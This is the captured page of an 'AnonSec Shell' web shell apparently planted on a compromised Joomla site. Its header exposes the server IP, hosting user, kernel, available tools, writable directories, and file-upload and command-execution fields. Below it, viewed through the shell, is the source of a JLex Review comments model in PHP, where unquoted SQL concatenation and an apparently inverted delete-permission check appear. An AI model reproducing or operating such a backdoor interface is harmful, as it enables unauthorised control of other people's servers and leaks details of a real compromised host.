AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/components/com_jlexreview/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/components/com_jlexreview/models/comments.php
<?php
/**
 * @package     JLex Review
 * @version     4.2.3
 * @copyright   Copyright (c) 2013-2018 JLexArt. All rights reserved
 * @license     GNU General Public License version 2 or later;
 * @author      www.jlexart.com
 */

defined ( "_JEXEC" ) or die;

class JLexReviewModelComments extends JModelLegacy
{
	public $rid 		= 0;

	public $limitstart 	= 0;

	public $limit 		= 10;

	public     $hl 		   = 0; // special comment

	protected  $hl_info    = null;

	public     $timestamp 	     = 0;

	public     $timestamp_offset = 0;

	protected  $total 	         = 0;

	public     $sort             = "best";

	public function getComments($parent_id=0)
	{
		$app        = JFactory::getApplication();
        $user       = JFactory::getUser();
        $now        = JFactory::getDate()->toSql();
        $session    = JFactory::getSession();
        $config     = JLexReviewHelperAdmin::getConfig();
        $ip_address = JLexReviewHelperAdmin::ip_address();
        $userProfile  = JLexReviewHelperSite::getProfile();
        $passed_id  = $session->get('jreview_cmid_passed',0); // id of review just written
        
        // $passed_id: Normally use for review is marked unpublished.
        if($passed_id>0)
        {
            $this->hl=0;
            $session->clear('jreview_cmid_passed');
        }

        $userConditions = $user->guest ? "ip_address=".$this->_db->quote($ip_address) : "created_by=" . $user->id;

		$query = $this->_db->getQuery(true);

		$query->select("SQL_CALC_FOUND_ROWS cm.*")
			  ->from("#__jlexreview_cm AS cm");

		// user table
        $query->select("cm.author_name")
              ->leftJoin("#__users AS u ON u.id=cm.created_by");

        // like/dislike
        if($config->get('u_vote_comment',true)==true)
        {
            $query->select('IF(liketb.id>0, liketb.rate_match, NULL) cm_vote')
                  ->leftJoin('#__jlexreview_helpful AS liketb ON (liketb.type_id=cm.id AND liketb.type_ob=0 AND liketb.' .$userConditions. ')');
        }

        // reporting
        if ($config->get("u_reporting",true)==true && ($config->get("enable_report","all")=="all" || $config->get("enable_report","all")=="comment"))
        {
            $query->select('IF(report.id>0,1,0) reported')
                  ->leftJoin ('#__jlexreview_report AS report ON (report.type_id=cm.id AND report.type_ob=0 AND report.' .$userConditions. ')');
        }

        $subTable = "(SELECT cm.id, IF(created_by>0,u.username,cm.author_name) author_name FROM #__jlexreview_cm cm";
    	$subTable.= "\nLEFT JOIN #__users u ON u.id=cm.created_by)";

		$query->select("replyCm.author_name reply_author")
		  	  ->leftJoin( $subTable . " AS replyCm ON replyCm.id=cm.reply_id");
        

        // where clause
        $wC=array(
                'cm.review_id='.$this->rid,
                'cm.parent_id='.$parent_id,
            );

        if ($config->get("u_edit_any_comment",false)==false)
        {
            $owner=null;
            if($user->guest)
            {
                $owner="(cm.created_by=0 AND cm.ip_address=" . $this->_db->quote($ip_address). ")";
            } else {
                $owner="cm.created_by=" . $this->_db->quote($user->id);
            }

            $wC[]=$owner!=null?'(cm.published=1 OR '.$owner.')':'cm.published=1';
        }

        if($this->timestamp>0)
        {
            $wC[] = 'cm.created<=' . $this->_db->quote( JFactory::getDate($this->timestamp)->toSql() );
        } else {
            $wC[] = 'cm.created<=' . $this->_db->quote($now);
        }

        if($this->timestamp_offset>0) $wC[] = 'cm.created>' . $this->_db->quote(JFactory::getDate($this->timestamp_offset)->toSql());

        // where clause command
        if($passed_id>0)
        {
            $wClause = '(cm.id='.$passed_id.' OR ('.implode(' AND ', $wC).'))';
            $query->order('FIELD(cm.id,'.$passed_id.')');
        } else {
            $wClause = $wC;
        }
        $query->where($wClause);

        // comment sorting
        $this->sort = $config->get("comment_sort", "popular");    
        if($parent_id>0)
        {
        	$query->order('cm.created DESC');
        } else {
        	switch($this->sort)
            {
	            case 'best':
	                $query->order('(cm.count_like-cm.count_dislike) DESC, cm.count_like DESC, cm.id DESC');
	                break;

	            case 'popular':
	                $query->order('cm.count_child DESC, (cm.count_like+cm.count_dislike) DESC, cm.created DESC');
	                break;

	            case 'desc':
	                $query->order('cm.created DESC');
	                break;

	            default:
	                $query->order('cm.created ASC');
	                break;
	        }
        }


        $this->limit = $config->get("comment_each_load", 10) > 0 ? intval($config->get("comment_each_load")) : 10;

        // use for first time
        $limit_preview = $config->get("comment_preview_count", 0) > 0 ? intval($config->get("comment_preview_count")) : 0;
        
        if ($this->hl>0)
        {
        	if (empty($this->hl_info))
        	{
        		$this->hl_info = $this->_getOffset( $wClause );
        	}

        	$this->limitstart = $parent_id==0 ? $this->hl_info->parent_offset : $this->hl_info->offset;
        }

        $limit = $this->limitstart==0 ? $limit_preview : $this->limit;
        if ($limit < 1)
        {
        	$limit = $this->limit < 1 ? 10 : $this->limit;
        }

        // response
        $response = new stdClass();
        $response->comments 	= null;
        $response->limit 		= $this->limit;
        $response->limitstart 	= $this->limitstart;
        $response->rid 			= $this->rid;
        $response->parent_id 	= $parent_id;
        $response->total 		= 0;
        $response->wrap 		= true;

        $comments    = $this->_db->setQuery($query, $this->limitstart, $limit)->loadObjectList();
        $this->total = (int) $this->_db->setQuery("SELECT FOUND_ROWS()")->loadResult();

        if (!$comments) return $response;

        $response->total = $this->total;
        $this->_getReplacer();

        foreach($comments as $k=>$comment)
        {
        	$comment->author = $userProfile->getUser($comment->created_by, $comment->author_email, $comment->author_name);
        	
        	// date
            $format_date = $config->get("cm_date_format","default")=="default" ? null : $config->get("cm_date_format");
            $comment->created_format = JLexReviewHelperSite::formatTime ($comment->created, null, $format_date);

            // permission
            $comment->can_edit = false;
            if($config->get("u_edit_any_comment",false)==true)
            {
                $comment->can_edit = true;
            } else {
                if($comment->created_by>0 && $comment->created_by==$user->id && $config->get("u_edit_own_comment"))
                {
                    $comment->can_edit = true;
                }
            }

            $comment->can_delete  = false;
            if($config->get("u_del_any_comment",false)==true)
            {
                $comment->can_delete = true;
            } else {
                if ($comment->created_by>0 && $comment->created_by==$user->id && $config->get("u_del_own_comment"))
                {
                    $comment->can_delete = true;
                }
            }

            // roles
            if($config->get('enable_roles',1)==1)
                $comment->roles = JLexReviewHelperSite::roles($comment->created_by);

            $comment->url = '';

            // format comment;
            $this->_formatCm($comment->comment);

        	// child
        	if ($comment->parent_id==0)
        	{
                $this->limitstart = 0;
        		$comment->childs = $this->getComments($comment->id);
        	} else {
        		$comment->childs = null;
        	}

            $comments[$k]=$comment;
        }

        // assign $comments
        $response->comments = $comments;
        return $response;
	}

	protected $replaceClause = null;

    private function _getReplacer()
    {
    	if ($this->replaceClause!=null)
    	{
    		return $this->replaceClause;
    	}

        $doc = JFactory::getDocument();

        $query = $this->_db->getQuery (true);
        $query->select ("regexClause,replaceClause,params")
              ->from ("#__jlexreview_replacer")
              ->where( array(
                    "published=1",
                    "(area=1 OR area=3)"
                ));

        $this->replaceClause = $this->_db->setQuery ($query)->loadObjectList ();

        if ($this->replaceClause)
        {
            foreach ($this->replaceClause as $replace)
            {
                $params = json_decode($replace->params);
                if ($params)
                {
                    if (isset($params->css_file))
                    {
                        $css_file = preg_match("/^http/", $params->css_file) ? $params->css_file : JUri::root(true) . "/" . $params->css_file;
                        $doc->addStyleSheet( $css_file );
                    }

                    if (isset($params->css_content) && !empty($params->css_content))
                    {
                        $doc->addStyleDeclaration($params->css_content);
                    }

                    if (isset($params->js_file))
                    {
                        $js_file = preg_match("/^http/", $params->js_file) ? $params->js_file : JUri::root(true) . "/" . $params->js_file;
                        $doc->addScript( $js_file );
                    }

                    if (isset($params->js_content) && !empty($params->js_content))
                    {
                        $doc->addScriptDeclaration($params->js_content);
                    }
                }
            }
        }
    }

	private function _getOffsetById($id, $child, $extraWhere=array())
	{
		if ($child==true)
        {
        	$sortBy = 't.created DESC';
        } else {
        	switch ( $this->sort )
        	{
	            case 'best':
	                $sortBy = '(t.count_like-t.count_dislike) DESC, t.count_like DESC, t.id DESC';
	                break;

	            case 'popular':
	                $sortBy = 't.count_child DESC, (t.count_like+t.count_dislike) DESC, t.created DESC';
	                break;

	            case 'desc':
	                $sortBy = 't.created DESC';
	                break;

	            default:
	                $sortBy = 't.created ASC';
	                break;
	        }
        }

        $whereClauses = count($extraWhere)>0 ? implode(" AND ", $extraWhere) : "";
        $whereClauses = str_replace("cm.", "t.", $whereClauses);

        // find offset
        $query = "
            SELECT cm.position
              FROM (SELECT t.id,
                           @rownum := @rownum + 1 AS position
                      FROM #__jlexreview_cm t
                      JOIN (SELECT @rownum := 0) p
                      " .(preg_match("/^\s*$/", $whereClauses) ? "" : ("WHERE " . $whereClauses)). "
                  ORDER BY {$sortBy}) cm
             WHERE cm.id = {$id}
        ";
        
        $result = $this->_db->setQuery ($query)->loadResult ();
        $result = $result > 1 ? $result-1 : 0;

        $integer = intval($result/$this->limit);

        return $integer*$this->limit;
	}

	private function _getOffset($extraWhere=array())
	{
		$return = new stdClass();
		$return->parent_id = 0;
		$return->parent_offset = 0;
		$return->offset = 0;

		$query = "SELECT parent_id FROM #__jlexreview_cm WHERE id=" . $this->hl;
		$return->parent_id = intval( $this->_db->setQuery($query)->loadResult() );

		if ($return->parent_id > 0)
		{
			$extraWhere1 = $extraWhere;
			$extraWhere2 = $extraWhere;

			$extraWhere1[] = "cm.parent_id=0";
			$extraWhere2[] = "cm.parent_id=" . $return->parent_id;

			$return->parent_offset 	= $this->_getOffsetById( $return->parent_id, false, $extraWhere1);

			$return->offset 		= $this->_getOffsetById( $this->hl, true, $extraWhere2);
		} else {
			$extraWhere[] = "cm.parent_id=0";
			$return->parent_offset 	= $this->_getOffsetById( $this->hl, false, $extraWhere);
		}

		return $return;
	}

	private function _formatCm(&$comment)
	{
        $config = JLexReviewHelperAdmin::getConfig();

        JLexReviewHelperSite::lowWords($comment);
        
		$comment = nl2br($comment);

		if($this->replaceClause)
        {
            foreach($this->replaceClause as $rClause)
            {
                $comment = preg_replace ($rClause->regexClause, $rClause->replaceClause, $comment);
            }
        }
	}

	
	public $id 	= 0;

	public function getComment()
	{
		$config = JLexReviewHelperAdmin::getConfig();
		$user 	= JFactory::getUser();

		if ($user->guest || $this->id < 1)
		{
			$this->setError( JText::_("JR_THE_COMMENT_NOT_FOUND") );
			return false;
		}

		$query = $this->_db->getQuery(true);
		$query->select("id,comment,created_by")->from("#__jlexreview_cm")->where("id=" . $this->id);

		$row = $this->_db->setQuery($query)->loadObject();
		
		if ($config->get("u_edit_any_comment",false)==false)
		{
			if ($config->get("u_edit_own_comment",false)==false || $row->created_by!=$user->id)
			{
				$this->setError( JText::_("JR_THE_COMMENT_NOT_FOUND") );
				return false;
			}
		}

		return $row;
	}

	public function update()
	{
		$comment = $this->getComment();
		if (!$comment)
		{
			return false;
		}

		$app = JFactory::getApplication();
		$now = JFactory::getDate()->toSql();
        $query = $this->_db->getQuery(true);
		$comment  = array_key_exists("comment", $_POST) ? $_POST["comment"] : "";

		$comment = htmlspecialchars($comment);

        $query->update("#__jlexreview_cm")
              ->set(array(
                    "comment=".$this->_db->quote($comment),
                    "modified=".$this->_db->quote($now)
                ))
              ->where("id=".$this->_db->quote($this->id));

		$this->_db->setQuery($query)->execute();
        $this->_getReplacer();
		$this->_formatCm($comment);

		return $comment;
	}

	public function remove()
	{
		$config = JLexReviewHelperAdmin::getConfig();
		$user = JFactory::getUser();
		$row = $this->getTable("comment", "TableJR");
		$row->load($this->id);

		if(!$row->id || $user->guest)
		{
			$this->setError( JText::_("JR_THE_COMMENT_NOT_FOUND") );
			return false;
		}

		if($config->get("u_del_any_comment",false)==false)
		{
			if($config->get("u_del_own_comment",true)==false || $row->created_by==$user->id)
			{
				$this->setError( JText::_("JR_THE_COMMENT_NOT_FOUND") );
				return false;
			}
		}

		$row->do_remove();
		return true;
	}

	public function state()
	{
		$config = JLexReviewHelperAdmin::getConfig();
		$user = JFactory::getUser();
		$row = $this->getTable("comment", "TableJR");
		$row->load( $this->id );

		if (!$row->id || $user->guest || $config->get("u_state_any_comment",false)==false)
		{
			$this->setError( JText::_("JR_THE_COMMENT_NOT_FOUND") );
			return false;
		}

		$state = $row->published==1 ? 0 : 1;
		$row->do_publish( $state );
		
		return $state;
	}
}

Anon7 - 2022
AnonSec Team